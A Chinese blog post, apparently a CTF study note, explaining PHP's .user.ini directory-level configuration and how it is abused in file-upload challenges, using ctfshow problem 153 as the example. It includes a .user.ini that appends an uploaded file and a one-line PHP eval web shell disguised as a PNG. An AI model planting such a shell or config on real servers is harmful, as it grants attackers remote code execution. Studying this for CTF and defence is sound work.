.user.ini文件上传知识点
本文最后更新于 4 天前,其中的信息可能已经有所发展或是发生改变。

说在前面

最近有实验室的小朋友做文件上传的题目,对这个点没有理太清楚

所以我来详细整理一下,顺便当做自己复习了

.user.ini文件

先来看看官方手册的解释

.user.ini 是 PHP 为 非 CGI 模式(主要是 FastCGI) 提供的一种目录级配置文件机制,用于设置当前目录及其子目录的 PHP 配置项

.user.ini 允许你在项目目录中局部修改 PHP 配置

可以看到是说对每个目录的ini文件配置,也就是常说的,对所在目录的ini配置

仅可以被fastcgi sapi/cgi进行处理,其中大部分网站都会用fastcgi,可以理解它是提供web服务器一种api,同时apache/nginx/iis这些服务器会依靠这种api来运行的

官方文档中可以看到并不是对任何php配置都能使用.user.ini进行更改的

由于php处于安全性和对权限管理的考虑,分出了四种INI模式(INI 模式是 PHP 为每一个配置项定义的“修改权限范围”)

模式名意思能修改位置
INI_SYSTEM系统级配置,安全敏感,只能在 php.iniphp.ini, httpd.conf
INI_PERDIR目录级配置,可在 .htaccess / .user.ini适合 Apache / Nginx 配置
INI_USER用户级配置,可在 ini_set() 脚本内设置脚本内部、.user.ini、注册表
INI_ALL全范围可设置,可在任何地方最灵活,几乎无限制

从列表可以看出.user.ini除了INI_SYSTEM模式下的配置项不可改外,其他的三种都可以

php.ini配置选项列表

从这看就一目了然了

其中对于文件上传,我们常用到的更改就是这两个

即会包含和运行文件

//.user.ini

auto_prepend_file=shell.php
auto_append_file=shell.php

总结一下关于此类型的文件上传类型流程

一般首先是上传.user.ini文件,其中通过修改那两个配置项来使得我们后续要上传的文件可以被包含和执行

但是注意仅仅是对当前目录下修改的配置可用

例题

简单拿ctfshow的第153题为例子吧

就是考最简单的.user.ini

就是单纯准备的这俩

//.user.ini
auto_append_file=1.png

//1,png
<?php eval($_POST[1]);?>

注意是在/upload路径下生效的,所以我们转到此路径

flag在源码里

评论

  1. GSF
    Windows Edge
    5 天前
    2025-5-27 21:16:22

    俺来了,俺走了,不带走一片云彩。

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇